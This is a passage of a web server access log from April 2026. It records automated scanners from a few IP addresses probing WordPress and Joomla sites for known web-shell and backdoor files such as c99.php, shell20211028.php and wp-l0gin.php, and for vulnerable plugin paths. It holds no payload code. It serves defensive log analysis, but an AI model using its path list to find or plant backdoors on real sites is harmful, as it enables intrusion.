Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:14 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:14 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 79.127.185.10 - - [11/Apr/2026:21:29:14 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:30 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.233.212.72 - - [11/Apr/2026:21:29:30 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:30 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:36 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:59 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:59 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 79.127.185.10 - - [11/Apr/2026:21:29:00 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:00 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 79.127.185.10 - - [11/Apr/2026:21:29:00 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:07 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:08 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 79.127.185.10 - - [11/Apr/2026:21:29:09 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 79.127.185.10 - - [11/Apr/2026:21:29:09 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 79.127.185.10 - - [11/Apr/2026:21:29:10 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:13 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:13 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:26 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.233.212.72 - - [11/Apr/2026:21:29:26 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:26 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.233.212.72 - - [11/Apr/2026:21:29:33 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:33 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:33 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:34 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:39 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 5.133.192.192 - - [11/Apr/2026:19:47:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123" 79.127.185.10 - - [11/Apr/2026:21:28:54 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 79.127.185.10 - - [11/Apr/2026:21:28:54 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:54 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:28:55 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 79.127.185.10 - - [11/Apr/2026:21:28:55 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:28:55 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 79.127.185.10 - - [11/Apr/2026:21:28:57 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:12 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:12 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:27 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:29 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.233.212.72 - - [11/Apr/2026:21:29:29 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:30 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:31 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:31 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.233.212.72 - - [11/Apr/2026:21:29:36 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.233.212.72 - - [11/Apr/2026:21:29:37 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:37 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 79.127.185.10 - - [11/Apr/2026:21:28:51 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:51 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 79.127.185.10 - - [11/Apr/2026:21:28:53 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:28:53 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:56 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:56 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:02 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:02 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:07 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:07 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 79.127.185.10 - - [11/Apr/2026:21:29:13 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.233.212.72 - - [11/Apr/2026:21:29:26 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.233.212.72 - - [11/Apr/2026:21:29:26 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:27 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.233.212.72 - - [11/Apr/2026:21:29:29 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:32 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:32 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:32 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.233.212.72 - - [11/Apr/2026:21:29:33 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.233.212.72 - - [11/Apr/2026:21:29:34 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 79.127.185.10 - - [11/Apr/2026:21:28:56 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:28:59 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 79.127.185.10 - - [11/Apr/2026:21:28:59 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 79.127.185.10 - - [11/Apr/2026:21:29:03 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:04 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:12 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.233.212.72 - - [11/Apr/2026:21:29:27 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:27 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:31 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:37 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:37 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:37 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.233.212.72 - - [11/Apr/2026:21:29:37 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:38 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.233.212.72 - - [11/Apr/2026:21:29:38 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:38 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:38 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.233.212.72 - - [11/Apr/2026:21:29:38 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 79.127.185.10 - - [11/Apr/2026:21:28:49 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 79.127.185.10 - - [11/Apr/2026:21:28:49 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:06 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:06 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:06 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 79.127.185.10 - - [11/Apr/2026:21:29:14 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:15 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:15 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:15 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:28 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:28 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.233.212.72 - - [11/Apr/2026:21:29:28 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:34 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:34 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:39 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.233.212.72 - - [11/Apr/2026:21:29:29 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:35 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:35 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.233.212.72 - - [11/Apr/2026:21:29:35 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.233.212.72 - - [11/Apr/2026:21:29:36 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:11 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:11 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 79.127.185.10 - - [11/Apr/2026:21:29:11 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:11 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 79.127.185.10 - - [11/Apr/2026:21:29:12 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.233.212.72 - - [11/Apr/2026:21:29:32 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.233.212.72 - - [11/Apr/2026:21:29:39 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 51.103.72.7 - - [11/Apr/2026:22:10:18 +0300] "GET /s9ggWsAWii.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:21 +0300] "GET /p1BbHnzr2lS.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:28 +0300] "GET /HFouA3MLd2N.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:37 +0300] "GET /ogpelsnd.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:39 +0300] "GET /option-more.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:14:07 +0300] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:14:10 +0300] "GET /rO36EtSqUKB.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:14:12 +0300] "GET /xbfpkuvd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:38 